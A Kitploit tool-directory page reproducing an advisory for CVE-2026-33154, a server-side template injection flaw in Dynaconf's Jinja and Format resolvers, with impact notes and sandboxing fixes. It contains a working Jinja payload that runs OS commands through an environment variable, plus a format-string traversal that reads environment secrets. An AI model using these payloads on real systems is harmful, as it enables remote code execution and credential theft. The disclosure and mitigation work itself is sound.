Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-33154 — Proof-of-concept exploit for CVE-2026-33154, demonstrating remote code execution via SSTI in Dynaconf's Jinja resolver, with analysis and mitigation guidance. | Kitploit
Tools/GitHubGitHub/redyank/cve-2026-33154
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationLearning & Education
GitHubredyank/cve-2026-33154

CVE-2026-33154

Proof-of-concept exploit for CVE-2026-33154, demonstrating remote code execution via SSTI in Dynaconf's Jinja resolver, with analysis and mitigation guidance.

View Repository
14 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

Dynaconf SSTI Vulnerability Report

Summary

Dynaconf is vulnerable to Server-Side Template Injection (SSTI) due to unsafe template evaluation in the __@Jinja__ resolver. When the jinja2 package is installed, Dynaconf evaluates template expressions embedded in configuration values without a sandboxed environment.

If an attacker can influence configuration sources such as:

  • Environment variables
  • .env files
  • Container environment configuration
  • CI/CD secrets

...they can execute arbitrary OS commands on the host system. In addition, the __@Format__ resolver allows object graph traversal, which may expose sensitive runtime objects and environment variables.


Details

The vulnerability arises because Dynaconf's string resolvers lack proper security boundaries.

1. Resolver

__@Jinja__

The __@Jinja__ resolver renders templates using full Jinja2 evaluation. However, the rendering context is not sandboxed, which allows attackers to access Python's internal attributes. Using objects such as cycler, attackers can reach Python's globals and import the os module.

Example attack path:

root@kitploit:~
cycler → __init__ → __globals__ → os → popen()

This leads to arbitrary command execution.


2. __@Format__ Resolver

The __@Format__ resolver performs Python string formatting using internal objects. This allows attackers to traverse Python's object graph and access sensitive runtime objects.

Example traversal:

root@kitploit:~
{this.__class__.__init__.__globals__[os].environ}

This can expose:

  • API keys
  • Database credentials
  • Internal service tokens
  • Environment secrets

Proof of Concept (PoC)

root@kitploit:~
import os
from dynaconf import Dynaconf

# Malicious configuration injection
os.environ["DYNACONF_RCE"] = "@jinja {{ cycler.__init__.__globals__.os.popen('id').read() }}"

settings = Dynaconf()

print("[!] Command Execution Result:")
print(settings.RCE)

Impact

Successful exploitation allows attackers to:

  • Execute arbitrary OS commands on the host system
  • Access sensitive environment variables
  • Compromise application secrets
  • Fully compromise the running application process

Because configuration values may originate from CI/CD pipelines, container orchestration systems, or environment injection, this vulnerability can become remotely exploitable in real-world deployments.


Remediation / Mitigation

1. Use Jinja2 Sandbox for Template Rendering

root@kitploit:~
from jinja2.sandbox import SandboxedEnvironment

env = SandboxedEnvironment()
template = env.from_string("{{ config_value }}")
safe_value = template.render(config_value=user_input)

2. Restrict __@Format__ Usage to Trusted Values

root@kitploit:~
safe_value = "{name}".format(name=trusted_name)

References

  • GHSA-pxrr-hq57-q35p
  • CVE-2026-33154 — NVD
  • dynaconf/dynaconf@2fbb45e
  • Dynaconf Release 3.2.13
Download Tool